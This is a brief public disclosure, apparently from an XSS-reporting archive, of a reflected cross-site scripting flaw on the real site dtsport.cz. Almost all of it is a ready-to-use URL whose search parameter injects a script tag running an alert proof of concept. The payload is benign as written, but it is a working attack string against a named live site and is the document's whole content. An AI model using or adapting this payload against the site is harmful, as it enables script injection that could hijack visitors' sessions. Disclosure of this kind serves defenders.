dtsport.cz XSS vulnerability

Vulnerable URL: http://www.dtsport.cz/cz/vyhledavani/?keyword=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E=truefiltsize=1filtcolor=1size=color=manuf=additionalfieldsfilter=1resultscol=m1...